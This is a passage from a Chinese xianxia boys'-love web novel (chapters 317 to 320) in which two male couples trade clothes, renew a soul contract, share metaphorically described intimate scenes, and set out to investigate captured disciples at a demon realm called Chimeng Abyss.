之前他没有弄晕自己,是因为身边没有人在,只有自己一个人的他不敢也不能,让自己意识不清醒地那么久。 “…我明白了。”顾延清点了点头,然后上前来,他将谢璟抱入了怀里,在那声醒过来就会好之后,谢璟被顾延清利落地弄晕了过去。 ………… 之后,等谢璟再睁开眼,果然已经是两三天后来,他还躺在顾延清弄起的被子王朝里,身上的被子一张接着一张地盖着,暖是暖了,但是谢璟感觉到自己好像被小山压住那样,身体有一瞬间动弹不得。 被子还在,人在哪里? 谢璟心里一紧,有些担忧地从被子王朝里出来,他要退位了,于是他起身想要出门找找人,可下一刻,他顿住,因为他发现自己身上的衣服被人换过了。 自己之前穿着的黑袍没有了,留下的是一件特别矜持守男德的衣服,一点露的都没有,正老实地被谢璟穿在了身上。 衣服颜色是白色的。 谢璟对此有一瞬间不适应。 他在魔域里就没有穿过白衣,理由是看上去不像个魔尊。 于是谢璟摸了摸身上的储物袋,发现里头的衣服还在,于是他果断地准备换回自己那件狂拽霸气看上去不可冒犯的魔尊套装,就在手指按在领子的扣子之时,顾延清回来了。 顾延清回来后就看到站起来的谢璟,他过来给人解释道:“你先前那衣服全是血,你的储物袋我用不了,所以我给你换了一件我的。” “……”谢璟解开了第一个扣子。 “…怎么了?”顾延清看到此人的动作一顿。 “……”谢璟不语,而后解开了第二个扣子。 “……阿璟?”顾延清站在了原地,不敢动。 可就在人要解开第三个扣子的时候,谢璟似乎想起什么,自己哄好了自己,随后指着顾延清身上的那件白衣:“你给我换一件衣服。” “…什么?”顾延清愣了一下。 “穿我的。”正所谓,礼尚往来。 不知怎的,谢璟想玩奇迹清清的念头再次强烈了起来。 第317章 贝壳手链 什么衣服? 穿什么衣服? 穿哪件衣服? 顾延清心里发出连续三问,而不待他反应过来,那谢璟就从储物袋里拿出那衣服凑过来。 顾延清低头看了一眼,只见那衣服质地较轻,上头还有些许零碎的配饰,玄色间的纹样是栩栩如生的金龙。 “我……” 谢璟不容分说地把衣服塞人手里,还特别好心地补充了一句:“穿吧,我不看你。” “……”顾延清张了张嘴想要说什么,可看到突然如此活泼且凑近他的谢璟,想要说出话语只能在嘴边回转了几圈吞回去了。 这还是谢璟第一次那么积极和他提要求,就算是以前的谢璟也极少这种时候,好似讨要糖的孩子,而这孩子还在眼睛亮亮地和人撒娇。 “…我知道了。”顾延清垂眸,接过那衣服,转身就去换,而谢璟也非常好人地走出去等待。 谢璟走出去后就开始看起四周的情况,这魔城里头的魔气已经被清理得一干二净,如果让江易年知道,怕是要闹了,当务之急还是要让人不知道他们来过。 这样想着,谢璟就弯腰踢了踢脚边的石子,虽说难受的时刻已经过去了,不过谢璟一直觉得这样下去体内好像有什么在变化,可他不知道那是什么,他也试探着去问那个什么大人,但都被人笑着敷衍了过去。 ……所以他到底是个什么呢? 非要说那种感觉,谢璟就觉得自己好似一个物件,还是一个金贵的,一碰就碎的,只需要那裂痕再多添加几道,就足以让他……让这个谢璟碎开。 这碎开还是谢璟较为委婉的说辞。 虽然谢璟不知道等到体内的这股力量彻底将他吞噬的结果会怎么样,但…… 谢璟转过头朝着顾延清所在之处望了过去,心里头那点悸动好似一点火落在了荒芜的原野里,肆意地张扬而起。 这些年,谢璟之所以和秦兰时交好,有对方很有用的原因,更多的还是因为他在秦兰时身上感受到了自己作为人的感觉,而不是一个名为魔尊的物件。 会笑会怒,活生生的。 而不是在冰冷的宫殿里,看着那魔族讨好,那些魔族的眼神里看到的不是谢璟,而是魔尊,至于魔主,可能这个魔尊只是个可用的物件罢了。 如果谢璟不会思考就算了,可他会思考,还有心里头那股气,所以又怎么会任由他们摆布呢。 而顾延清的到来也让谢璟的所思得更多了,虽说对方好似透过他在看着过去,但是里头的珍重与爱意,又让谢璟沉沦。 想要,但是有时候又会胆怯地收回手。 因为他已经失去了过去,一个失去记忆的人怎么可能会和过去一模一样呢,他可能不会变成顾延清心里头的那个谢璟了。 那么,这份珍重与爱意,还会存在吗? 这些在谢璟不再难受,情绪也稳定后所想到的问题。 这样想着,谢璟就不由自主地捏了捏自己身上穿的衣服,这份雪白套在自己的身上,是多么的不合适啊…… …… “阿璟。” 顾延清的声音将谢璟的思绪拉了回来,他听到后就抬头望去,嘴角也因此勾起,刻意的,来让自己温柔起来,因为秦兰时说过,曾经的谢璟是会对顾延清笑得很温柔的。 “换好了?”谢璟笑着看过去。 “…嗯。”顾延清见此愣了一下。 而谢璟看过去后也跟着愣了一下。 不为别的,就是那胸前的雪白有些明晃了,这一刻,谢璟才想起来,顾延清的皮肤好似很白……映得那胸前的红色挂坠如同滴血那般,而此人还穿着玄色,那份白那份黑冲击在一起,让这人站在此处就足以勾住所有人的心神。 再加上那身凛冽的气质,还有那略微皱起的眉头,其不经意间的举止间尽是要灭天灭地的威压,这简直比他这个魔尊还魔尊!!! 其实顾延清并没有想要灭天灭地,只是他本能地因为衣服的清凉而有些不适地皱眉,再加上当高位者多年,气质这一块已经把握得牢牢的。 “……要不魔尊给你当吧。”然后他就可以找机会跑路了。 顾延清:? “咳咳,没什么。”谢璟回过神了,而后笑着说:“还不错嘛?” “…嗯。”其实顾延清还是不适应,但是他应了谢璟一声。 “只不过,这个有些不搭。”谢璟走近些,然后抬起这人的手腕,只见那串贝壳手链正于风中轻轻摇晃:“要不要摘下来换一个?” “……”顾延清见人看到此物没什么反应,语气也平缓得好似今天要吃什么那样,而且还让他摘下来换掉……顾延清眼神一暗,随后他收手道:“不用。” 当初谢璟亲口说了,让他不要随便取下来。 而谢璟也敏锐地察觉到这人的情绪变化,他想起来了,这人好像一直戴着这个贝壳手链,再细看一下,这些贝壳好像有些许破损,但表面已经非常光滑,好似被多年的流水清刷了许久那般。 “……”谢璟放下手了,他不经意地勾了勾自己手腕上的红绳,他想起自己之所以想要戴这个,是觉得这里空空如也,想要戴点什么,可那些精美手链他怎么戴都不喜欢。 最后,也就红绳勉强能合他心意。 可这条红绳太轻,轻到谢璟感觉不到其的存在,所以谢璟就将红绳狠狠地绕在自己手腕上,来感知其存在。 那被红绳死死绕住捆紧的感觉,好像能够提醒自己什么。 “不摘就不摘,不要不高兴。”谢璟本能地说出了那么一句话,随后转身就走:“得了,你就这样穿着和我走吧,我们该离开这里了。” “……阿璟。”顾延清见人一刻不停地转身就走,心里一紧,就跟上去说:“…你在不开心?” “…没有,怎么会呢?”谢璟转头对人扬起笑脸,他笑着笑着又觉得自己这样模仿过去有些拙劣,笑容也随之淡了一点。 “………阿璟。”顾延清无比认真地捧起谢璟的手,然后将那串贝壳手链摘下来放在人的手上:“给你。” “…为什么给我?”谢璟低头看着那应当是过去留下之物,笑着道:“这手链做工粗糙,我可看不上,就不怕我哪天不小心弄丢了?” 顾延清抿一下唇,他不擅长处理这种情况,就连内心那许久没品尝过的苦涩也是如此,他张嘴说:“这是你的东西,你想怎么处置都可以。” 谢璟闻言握着那贝壳手链的力道收紧了一点,他闭了闭眼,一时之间失了语,那种记不起过去的无力感深深笼罩着他,他明白的,或许那就是他留下来的东西,那是过去的他。 可他记不起来了。 他只有那隐隐约约的感觉,就凭借这个感觉,他可以对顾延清好,对他比自己所知道的要好。 可如果是要和他谈起过去。 那很可惜,他失忆了。 他谈不了,也有点不想谈。 因为那好像在说一个陌生人。 这让谢璟觉得顾延清现在对他的好,都是因为过去的自己,不过好像也是那么一回事,如果过去的自己不那么让人惦记,这人也不会千里迢迢过来找一个失忆的谢璟。 而后他也试图去模仿一下,模仿一下过去,可这样,谢璟又觉得现在的这个自己有点可悲。 而且模仿得也不像,假得很。 ……… 而如今,谢璟握着这贝壳手链,不语,而顾延清也没先开口,他维持着那个递手链的姿势,但顾延清知道自己心里头在紧张。 最后,谢璟动了,只见他拿起贝壳手链,然后再次抬起顾延清的手腕,随后这串贝壳手链被他重新系在了顾延清的手上。 “戴着吧。”谢璟只是轻轻说了那么一句,而他的笑容也因此收了起来。 “……”顾延清一愣,他本能地伸手去抓住人,可谢璟略一躲,就轻飘飘地躲开了,所以顾延清只抓住了一缕清风。 顾延清就那么低头看向了自己的指尖。 “走了。”谢璟没往后看,他在前面想了想,然后转头说:“刚好,陪我去痴梦渊,我要去那里办事,那个什么公子不是让你跟我走?你不会现在就把我丢在这里吧?” “不会,我不会……”顾延清张了张嘴,可想起自己好像丢过一次了,这让自己心里头酸涩得紧。 “……啧。”谢璟见人这样,然后揪着人的衣领子过来,就在他要说点什么的时候,发现这衣服实在是过于不保守,就那么一扯,里头的风光被看得彻彻底底。 “………”总之,看到这些的谢璟顿了顿,然后偏一下头:“你里头再加一件高领衣服,我给你找。” 顾延清没应,只是安静地看着谢璟。 就在谢璟在翻找储物袋的时候,顾延清抓住谢璟那还在揪住他衣领子的手腕,随后,他在谢璟惊讶的目光里,睫毛轻颤,就握住人的手腕,眼睛一闭,就按住人的手往那被扯开的衣服里探了去。 谢璟:…… 他本能地摸了一下。 的确,手感很好。 当然,顾延清也因为这一摸浑身抖了一下。 而后,顾延清又是心一狠,做出了他素来没有做过的狂野之事,他就那么凑过去,另一只手揽过了谢璟的腰,来让人更加紧贴自己。 而谢璟的手也因此更加往里去了,他可以感觉到自己的指尖有些发颤了。 就这样,顾延清把自己整个人都贴在了谢璟身上,手也从人腰部顺着后背来到了脖颈间,就这样,他以环抱着对方的姿势轻咬着人的耳朵,然后: “……阿璟,你别生气。” 第318章 怎么这样 “………………” 这些省略号是谢璟的沉默。 同时也是孩子呆滞的证明。 他万万没有想到自己面对怎么样的顾延清都能抵得住,只要想一下这人的想法和自己那未曾知晓的过去,自己就能冷着脸回应。 但这个又是怎么回事…… 这一刻,谢璟感觉到自己的指尖所触碰的不是人的身体,而是一团火,一团会将他肆意焚烧成灰烬的火。 而自己反抗不能,甚至还想决然拥抱回去。 任由那火将自己彻底焚尽,也不想放手。 谢璟垂下眸,而手掌紧贴着那肌肤,往上轻抚了去,他感受着这人颤抖的躯体,就知这人只是在故作镇定罢了。 “顾延清,你可知晓何为情欢?”谢璟的声音这此刻染上情欲的沙哑,他说着自己又笑了一声:“应当是没有的,不然,你又怎会知你此番举动,像极了求欢呢?” “…什么?”顾延清一顿,随后他还没反应过来,就被谢璟拉着进屋,下一瞬,他就被谢璟抵在了墙上,衣服还被谢璟扯开了,冰冷的空气轻拂肌肤而过。 “我方才是有些气的,现在却是不怎么气了。”谢璟轻笑着开口,而后他凑近而来,轻柔地将唇轻碰于顾延清的唇上,宛若春日花瓣轻落水中,顺水而流:“下次,不准这样了。” 别再扰他了。 好不容易冷下的心又被这阵阵轻柔所化软。 谢璟深知自己所纠结之事,只要一日他未寻回过去,他就一日不愿意接受唤他阿璟的顾延清,说他爱给自己找事也好,说他这个人敏感多疑容不得俩人之间的感情里有任何缺陷都行。 但……或许不只是这一点。 谢璟想起这人对他的愧疚和种种迹象,就明白自己的过去应当是做了些错事,不然他一个剑尊弟子怎会落在魔域里头呢? 不管怎么样,这段过去应当是一道深深的伤痕,那是顾延清和秦兰时都不敢与他提及的过去。 一想到这里,谢璟就往后退去些许,俩人之间的冷风直涌入些许,而顾延清看一眼自己被按住的肩膀,和似乎正在思索什么的人,当即凑上去轻吻了一下。 谢璟:…… 接下来,谢璟似乎是叹了口气。 顾延清可以听到这人用那平静无比的声音分析道:“他很珍惜你……所以,他不会将这般肮脏之事呈于你的面前。” “不如说……”谢璟侧一下头,轻吻着人的发丝而过,浅浅的,就如同柔雪偷落屋内那般:“你知道接吻后下一步,会做什么吗?” “……知道。”顾延清轻轻点了点头。 “我自然知道你知道,不然你也不会拒绝我。”谢璟笑了笑,然后说:“但是,没试过吧?” 顾延清不知此人问这事何意,但是他还是老实地点了点头,与此同时他感觉到自己有点口干舌燥。 “很好。”谢璟点了点头,然后将人的衣裳一把扯开,那些挂饰的珠子随着他这个举动如雨般落下,他干脆利落地说:“为了让你下次不这样了,我先给你尝尝后果,让你见识一下我可不是过去的谢璟。” “顺便,这件衣服就不用再穿了。” 话说得很满,实际上谢璟看一眼这人的身体就没有再看,而是非常干脆地单膝跪地了去,随后就是伸手…… 顾延清顿时瞪大了双眼,他连忙伸出手按住谢璟的的脑袋试图阻止他,可那又能如何呢…… “等等……” 发丝轻柔地抚着他的手背而去,一向清冷的眸子这此刻染上一层薄雾,地上的红珠往前轻轻滚动着,随后就撞击在墙壁那就不再动作。 顾延清感觉到自己后背紧靠的墙壁有些生硬的痛,可这些都不重要了,他完全没有想到还有这种事……怎么还能这样呢…… “阿…阿璟……” 断断续续的风扑打在门外,若此时有落雪,应是会许一地红梅肆意绽放。 上有流月尽情倾倒而来,美丽的银色将此夜铺了满天,闪烁的微星被薄雾遮掩去了柔光,冷冽的风将高山的白雪吹来,后有暖阳温柔地将其融化。 “……谢璟!!!” 顾延清几乎是下意识地喊着人的名字,急烈的风会在此刻将人的神志弄得发昏,灼烧的阳一如既往地升起,发昏的头脑会随着那抹熔金直直往下坠去。 最后,徒留一地无声的风。 “好了,下次再这样就没有那么简单了。”谢璟给人换好了衣服,并且拍了拍人的肩膀,欣赏了一下这人穿得厚实的模样后,就起身道:“我等你好了再走。” 顾延清被人换了件高领的玄色衣服,毛绒的外袍将他整个人裹在里头,可现在的顾延清正发愣地看着地板。 “……”谢璟心虚地瞥了一眼外头,说起来他也是单纯想着暂时让人把自己和过去划分一下做出的行为,同时也是想让人知难而退什么的。 真的,别再撩拨他了。 真的有点遭不住。 明明那么冷清的一个人,到底是哪里学来这种招数的。 于是,谢璟在心里默念了一下自己接下来要去做的工作,顿时就清心寡欲了,他是清心寡欲了,但是却苦了顾延清,人还在呆呆地看着地板呢。 莫名的,谢璟觉得自己在做秦兰时所说的那种连吃带拿的人,可是不吓一下,顾延清下次又这样扰他心神怎么办,谢璟真的怕自己遭不住第二次。 又过了一会儿……顾延清还是在发懵,这可能是这位天青剑尊懵最久的一次了。 “……还没好吗?算了,我带你走好了,这里我们真不能再待了。”谢璟见人还在发愣,就伸手将人打横抱起,走出屋子后,身后就燃起了一阵黑火,将那房屋尽情烧灼干净。 用火烧的话就暂时不会怀疑他身上了。 …… “师父,顾延清和谢璟他们接下来是要去……”唐山玉和秦兰时一起回去后,就翻看起自己随身携带的石板,在看到顾延清的简短留言后问道:“痴梦渊,那是什么地方?” “……”秦兰时听到这话顿了一下,然后说:“他们俩去哪里?” “对啊?有哪里不对吗?”唐山玉转头看去:“怎么了?这个地他们去不得?” “谢璟去得,顾延清就……嗯,感觉不合适他。”秦兰时想起顾延清那清心寡欲的模样,顿时摇了摇头,然后给唐山玉解释道:“那里五魔主段明野的地盘,而他是一个狂野的魔主……他统领的地方……” “你就当是误入合欢宗吧?虽然比合欢宗还过分点,不过所幸是有规矩的,毕竟太混乱就不好管人。”秦兰时想了又想,就觉得自己师兄过去简直是唐僧误入盘丝洞。 “………嗯,我明白了。”唐山玉点了点头,然后他换了个话题:“浮生阁在你这里的分店弄好了吗?” “在让人努力了,放心吧亲爱的,一定让你在魔域这里做大做强。”秦兰时拍了拍胸口,一脸正直保证道。 “那这个让我们做太阳的方案是你乱想出来为难我们的吗?”唐山玉从一堆卷轴里精准无比地拿出一个,丢秦兰时的手上。 “咳咳咳?什么?”秦兰时接过这个卷轴,打开看一眼,就笑着说:“主要是我当初想着太阳有利于农作物生长,还有日常的照明作用,毕竟在魔域里没有白天。” “而那个有钱的尹离郁凭借自己的财力给自己打造了一个特别华丽的不夜城,我去过,当真是闪瞎人眼。” “……这样啊,那放进待办事件里吧。”唐山玉挥了挥手,然后让人放到那堆要干的活里头。 “…啊?”秦兰时一愣。 “很有挑战性不是吗?放着吧。”唐山玉笑了一下,没有多说什么,这件事不着急,因为他正在想怎么把这里魔族拉来加入浮生阁干活。 “魔主大人,那位又过来了。”就在这时,林异过来打扰二人世界了,不过就算二人世界也是谈论公事的二人世界。 “哪位?”秦兰时问道。 “戴狐狸面具那位。”林异恭敬地打工着,然后说道:“要让他进来吗?” “哦,那让他进来吧。”秦兰时听到是谁后,就挥了挥手,林异就转身过去带人过来了,而在其等待的时间里,秦兰时笑嘻嘻地冲唐山玉勾了勾手指:“山玉,来。” “做什么?”唐山玉一脸疑惑地过去了。 然后下一刻,就被秦兰时拉着坐在其大腿上,唐山玉整个人僵了一下,都要有人过来了,他这个行为是几个意思? 就在唐山玉小小地挣扎想要下去的时候,就被秦兰时抬手拍了拍屁股,这让唐山玉更想下去了,他就这样身体往前倾去,眼看就要落地坐回自己的位置。 奈何,秦兰时伸出手,直接揽住他的腰,并且手不轻不重地在那里捏了一把,唐山玉浑身因此抖了一下,下来的动作也随之一僵。 而那个狐狸面具的人也在这个时候开了门进来,林异抬头看一眼,果断出去把门关上了。 唐山玉:…… 一时之间不知道还该不该下来了。 就在这个时候,屋内的屏蔽外界的阵法再次亮起,而那个狐狸面具的人看了坐在一起的俩人,就抬手把面具往下摘去,而后这人那双风情万种的眸子也在这个时候轻抬而起。 “别来无恙啊,许承晚。” 秦兰时笑着问好。 而眼前的许承晚勾了勾唇,随后就接着道: “早就听说你把自己家的嫩草啃到手了,只是很可惜一直没空去拜访一二,现在终于见着了。” 第319章 昏君上身之小妖精别想逃 许承晚,合欢宗的长老,同时也是当初秦兰时和唐山玉俩人爱情添砖加瓦者,所以在得知好友真的下手的时候,他既好奇又兴奋,只不过当时的情况不好找人聊,于是许承晚只能忍住这八卦的念头。 再加上俩人要么闭关要么游历要么一个进魔域一个进断恶庭大牢,主打的一个都不消停。 而现在,当事人就在面前。 许承晚忍不住手捧着瓜,开始笑嘻嘻地问道:“哎呀,瞧你那不要钱的样子,你当初可不是那么和我说的~” “曾经的我和现在的我能一样吗?”秦兰时义正言辞地抱住唐山玉,然后将下巴搁在他的肩膀上蹭了蹭,并且还洋洋得意地说:“这叫先下手为强。” “啧啧啧,脸皮子真厚,当初还说要再想想,只隔了一天就把自己送上去了。”许承晚摇了摇头,语重心长地说道:“丢人。” “抱得美人归一点都不丢人。”秦兰时反驳了一句,然后就准备聊起正事了:“这次你过来是有什么事吗?我最近也没喊你过来传消息还是其他什么啊。” “你知道的,合欢宗自从里头出了叛徒后,我们苦思许久,想来想去,我们决定把那些叛徒试试睡服,正所谓一日夫妻百日恩,一日就不够就再来几日。”说到这里,许承晚居然无奈地摆了摆手,然后说:“也不知道这些魔族是不太专业还是太缺爱了,没有服从的少数都被关起来了,而服从的则顺理成章地为合欢宗探入魔域添砖加瓦。” “…啊?真的…服了?”唐山玉第一次听到这事,不如说他对合欢宗的事情听说得不多,再加上和秦兰时游历的时候正是随清宗和合欢宗的微妙冷战期,而后,人在任何创业的时候都是忙碌的。 “…对,服了。”许承晚看了唐山玉一眼,笑盈盈地说:“至于怎么服你就别管了,结果是好的就行,总之我们合欢宗算是半魔半仙的状态。” 半魔半仙,一听就很合适打两份工。 唐山玉若有所思,并且笑容温和地看了过来,看得许承晚浑身一抖,他怎么觉得这个后辈的视线咋那么怪呢。 “…山玉……”秦兰时不知何时凑近了来,于人的耳边吹着气,揽住人腰间的手上力道收紧了些许:“你干嘛一直看他……” “…呃?!”唐山玉没有想到这人突然凑过来吹他耳朵,当即反应极快地抬起手捂住那耳朵,并且还猛地往后退去,可后边哪有椅子让他靠,只有那冰冷的地面迎接他罢了。 不过秦兰时怎么会让人倒下去呢,他的手还握住人的腰呢,就这样,他一个用力间,就把人捞了回来,并且还让人面对着自己,并且趴在自己的身上,俩人的身体贴得比方才还要近了,彼此的温度逐渐因此升高。 而后,秦兰时抬手顺着唐山玉的后背抚去,轻轻拍了几下似乎在安抚,但是安抚的效果微弱,因为唐山玉正咬牙切齿地说:“我要下去……” “哎呀,别害羞嘛?许承晚他什么活春宫没有见过~”秦兰时听到这话,乐了一下,然后骄傲地冲着许承晚笑得极为张扬。 许承晚能说什么呢,他只能笑着看人秀恩爱了,不过与此同时,他在心里怀念起合欢宗里修炼技术最好的长老或者弟子了。 “…你还想活春宫?”唐山玉怒了一下,然后因为许承晚在这里,他脸皮略薄,只能和之前那样咬一下秦兰时的脖子,不过这次是狠咬,咬得秦兰时嘶了一声。 而后,一个牙印就这样落在了人的脖子处,看着还挺显眼。 “好了吗?该说正事了?”许承晚挑了挑眉,然后说:“还是说,我出去等你们好了再进来?” 唐山玉咬完后就下来了,并且坐在秦兰时旁边那张椅子上,衣着整齐地喝起了茶,而秦兰时那被扯开的衣领那有些凌乱,且那明显的咬痕像极了红梅落雪那般艳丽。 “你说吧。”唐山玉平静得好像无事发生且穿上裤子不认人那样。 而秦兰时抬手拢了一下衣领,守一下男德后就冲许承晚点了点头。 “哎,好。”许承晚找了个在他们对面的椅子坐了下来,并且神情严肃说:“此次过来是因为出了点事,我是过来寻那被魔族抓走的仙家弟子的。” “魔族最近行事过分了不少,居然还盯上了仙家弟子,据说是痴梦渊里头似乎在准备一场宴会,而这个宴会要不少人。” 许承晚说着,自己给自己倒了杯茶,喝了一口,轻叹道:“当然我们合欢宗弟子也在痴梦渊里落了脚,主要是那痴梦渊某种意义上和我们合欢宗有点类似,所以还算顺利。” “所以,我过来是问问你这个魔主,是否愿意以魔主的身份前去探查一二,毕竟我们再怎么努力探查消息也达不成你这身份的效果。”茶杯轻轻搁于桌子,等待着秦兰时的回答。 “宴会这事我略有耳闻,不过我没有收到他们抓仙家弟子的消息,只听到那痴梦渊进了不少头畜牲……”秦兰时说到这里,就明白了什么,当即觉得这魔域当真是哪哪方面都不做人了:“行啊,把人换个词称呼是吧。” “看来是这样的。”许承晚点了点头,然后说:“所以问问你是否愿意助力于我等,当然我并不是孤身一人前来的。” “这个嘛,再看。”秦兰时笑了一下,然后说:“因为在这之前,我刚杀了个魔主,虽然借助凡人的手隐藏过了,但是万事皆有痕迹,万一被发现的话,我这辛辛苦苦弄起来的忠诚魔城怕是要成为他们火力全开的地点了。” “…你怎么还杀了个魔主。”许承晚噎住,他没有想到人速度那么快:“按理说,还不是撕破脸的时候吧?” “哎,没办法,计划赶不上变化嘛。”秦兰时眨了眨眼,紧接着,他似乎想起了一个好点子,只不过他先看了一眼唐山玉,而后与那许承晚道:“我要去的话,也不是不行,只是我这次去,我得玩一出苦肉计了。” “这事我家的那位管得比较严………”秦兰时话还没说完,那边的唐山玉就看了过来,而后他止住了话头,开始忙碌喝茶。 “……”唐山玉看着人,挑了挑眉,没回这个话,而后,他对那许承晚说:“许长老,你和人先在此处歇息一晚吧,此事等我们探讨后再议。” “哎~?好的呢。”许承晚见小两口要说悄悄话了,顿时甩了甩衣袖,重新把那狐狸面具戴上后道:“那我先走啦~明日我再过来~” 许承晚走了出去,关上了门。 门内的俩人先是安静了一会儿,下一刻,秦兰时软绵绵地倒在唐山玉身上,并且露出自己那带有红纹的手背:“山玉啊……你想啊,我这苦肉计怕是要半死不活才算苦肉计了。” “哦,这不是还没死成吗,你这是什么意思?”唐山玉瞥了这人软下的身子一眼,装模作样地淡定道:“想解开?” “对对对。”明明这个契的主契是秦兰时,可偏偏俩人之间的氛围搞得唐山玉像那个主契那样:“你想啊,要是我不小心死了,你也跟着死了,那仇人还活着呢,简直是太亏了!!” “……”其实唐山玉也想过这个要是秦兰时死了自己也跟着死了的话不能复仇的问题,不过在那个时候,他偏要用这个气一下秦兰时。 “所以啊,山玉~为师想过了,我们重新弄个双向的,不涉及生死的契好不好?”秦兰时说着,就顺势往人的身上爬去,现在轮到秦兰时坐在人的腿上了,并且勾住人的脖子,探着身子过去,开始轻咬起这人的耳朵,往里头灌着自己的撒娇与讨好。 唐山玉本能地往后靠了靠,后背紧贴着椅背,而后来的亲密让他的呼吸有一瞬的微滞,自从人发现他好像不再生气后,这几天的秦兰时态度越发地回到从前了,就这样肆意自信地觉得他会答应,并且理所应当地撒娇。 有那么一瞬间,唐山玉觉得那些红眼给命文学也是有点合理之处的,经典是经典了点,但是其存在的意义怕是都是这种时候。 试问,猫猫抓你裤子要小鱼干,并且撒娇的咪咪喵喵,你答不答应,昏不昏头。 你昏了头后就会甘愿地伏地把小鱼干进贡给猫猫大王。 “……”唐山玉开始在脑子搜索着昏君文案,搜索结束后,他觉得昏君就这样当场把这该死的小妖精办了才对。 既下了决定,那么,唐山玉便抬起手,温柔的眼眸里映着秦兰时的面容,他低低笑了一声,而后吻上人的唇,泄露的几个音节带着其兴奋的情绪: “我很喜欢。” 秦兰时微微一顿,而后他垂下头,注视着唐山玉,发丝倾落于肩上,那流动的落泉将俩人所包裹,呼吸急促着,彼此的红线交织在一起,缠绕得分不开来。 “这样很美。” 唐山玉再次笑着叹道,而此刻,他居然觉得自己有些醉了,醉意恰浓间,正是趁着兴意提笔作画吟诗的好时刻。 而在那雪白的纸张上,一场美景正好似被那狂风所摧残得落叶纷飞,唐山玉见着提笔添作,勾勒着其中细细的曲线,而后笔尖一颤,将那飞墨尽数撒在纸上,挥洒着畅意才文。 “兰时哥哥。” 甜蜜的称呼让人不由得想要沉溺。 秦兰时不由得被这温柔的情扰乱了思绪,他应了一声,又抱紧了些,无比虔诚地将自己献了上去,将唇齿间的柔意变成了天上落雨,尽情地倾倒于荒芜之地上。 手背上的纹路在变化着,灵力在其中调节着灵动的音,而俩人那新的契约再度呈现。 而后,唐山玉凑近了去,学着秦兰时轻咬着耳朵,轻笑里的柔像那慷慨落雨化作了情意绵绵的飘雪: “我应你就是了,我的好夫君。” 第320章 热血沸腾组合技 许是太久没有恩爱过了,秦兰时只觉得自己的身子骨现在哪哪都不算好,被那手翻来覆去了许多次后,他的喉咙都要哑了。 可那余下的便是心中那缺了许多年的缺口在此刻获得了满足。 那人的呼吸,声音,还有面孔会随着触碰逐渐清晰了起来,秦兰时感觉到了梦来到了现实的美好。 清醒后,秦兰时微微转头,而后他就看到了唐山玉的睡容,这时候秦兰时的心没来由的一紧,若是以前他只会觉得安心,可现在,秦兰时却是悄悄地凑过去,闭上眼静听着胸膛里头的动静。 心脏在跳动。 是活的。 怀抱是热的。 一想到这里,秦兰时松了口气,而后紧紧抱住了人,将脑袋埋在唐山玉胸口处,他一点一点地听着,等待自己的心情平静下来后,就缓缓松了口气。 他再度昏昏沉沉地睡了过去。 等秦兰时醒过来,他往旁边一摸,被窝是暖的,那人的余温,可他要的不是这个…… 于是,秦兰时猛地坐了起来,扯开床帘就要往外走去,而他刚好和要俯身来看他的唐山玉撞在了一起,唐山玉拉住了秦兰时,有些疑惑地问道: “怎么了?那么着急?” 秦兰时躺在人的怀里,侧耳听着那让人感到安静的心跳声后说:“你不在了,想找你。” “…我只是下来让人去准备早饭了。”唐山玉听到这话,大概明白了什么,他将人往怀里抱得更紧些,随后垂头于人的额头上落了一吻:“吃过后,准备准备我们就出发了。” “…哎?去哪里?”秦兰时一愣。 “你不是想去痴梦渊吗?我们一起去,契约也如你所想的那般换了个方式,所以……”唐山玉顿了顿,然后说:“不要受太严重的伤,我会心疼的。” “…山玉…我好感动………”秦兰时感动得就要落泪,然后他真的落泪了,并且打算拿唐山玉的衣服擦眼泪和鼻涕。 “……”唐山玉垂在身侧的手缓缓握紧并且冒出了青筋。 他们是很恩爱没错,但也是会嫌弃对方的。 秦兰时擦完了眼泪和鼻涕,就被唐山玉抓起来去换好衣服,洗漱昨晚也是唐山玉亲力亲为搞定了,现在的他就是懒懒的被唐山玉喂饭。 唐山玉换了一件衣服坐在人的面前,给秦兰时喂粥,并且看着秦兰时满足吃饭的样子,他心里还挺暖洋洋的。 曾经的投喂满足感又回来了。 俩人就这样其乐融融吃完了早饭后,就准备去痴梦渊的行李了,秦兰时翻出了自己的唐山玉版本抱枕,唐山玉版本的被子,唐山玉版本的……… “…停停停?”唐山玉阻止了秦兰时的行为,他看了看这些全是自己模样的东西,问道:“带这些过去做什么……?” “炫耀和睡觉时候用。”秦兰时非常自信地回答道。 “……”唐山玉第一时间就沉默了,啊对,可能是年纪大了,经历事情多了,那种沙雕的气质在有些时候就会随着时间逐渐流失……那么一想还有点可惜。 不对,可惜什么啊? 这和沙雕有什么关系,秦兰时这不是试图在让自己丢脸吗? 唐山玉看了一眼长着自己脸的抱枕被子之类的东西,举起手……就要把这些东西藏到床底下去。 “等等,山玉你干嘛!!”秦兰时见人抱着这些东西转身就走,丝毫不带犹豫的,他连忙过去抱住人的大腿。 “不知道,为什么明明是你在丢人,但是我却感觉我更丢人。”唐山玉不理会大腿上挂着的人,而是继续埋头藏床底。 “不要——不要啊——不要这样子对它们——”秦兰时尖叫着,悲惨的,那种分别的悲痛欲绝就这样越来越猛烈。 “……它们当了一百多年的替身也该寿终正寝了。”唐山玉无比冷酷地把这些东西藏起来。 “我明白了,山玉。”秦兰时猛然惊醒。 “什么?”唐山玉感觉到这人又要说点奇怪的东西了,于是他停下来等人开口。 “我给你也准备了。”秦兰时严肃地从柜子里又拿出了一套,这套是秦兰时版本的抱枕被子等等……的周边。 “……”唐山玉一顿,心里可耻地想要,但是他现在是要面子的成年人了,而且这些东西拿过去睡觉是真的假的,太可惜了,应该藏起来珍藏才对。 不过真的好想要啊……如果俩人这样一起丢脸的话,好像也不是不能带,但是抱枕和被子之类的东西真的要带过去吗?感觉没什么能用到的地方。 就这样,唐山玉心里的天平渐渐倾斜了。 俩人互相对视了一眼,然后做出了一个无比慎重的决定。 …… 过了一会儿,许承晚等到了俩人,他看到俩人都露出一种心满意足的表情,他很是疑惑,并且问道:“怎么了这是?” “因为我想起一个特别帅气的事。”秦兰时洋洋得意,并且心里期盼着那个时候的到来。 “…就那样吧。”唐山玉垂下眸,很是淡定地说着:“我们出发吧,我们准备好了。” 许承晚不明所以,但是他也想着该出发了,就唤来了几个同是合欢宗的人,和秦兰时唐山玉俩人一起走上了去痴梦渊的道路。 在路上,一切都很平静,但是这一切都在遇到魔物的时候打破了,许承晚当机立断就要拿出武器,其他人也亦然。 就在这个时候,秦兰时开始脱起了衣服。 许承晚:……? “等一下?做什么?虽然我们是合欢宗的,但是我们打架也不脱衣服啊。”许承晚大吃一惊,他没想到秦兰时居然进化到这种地步了。 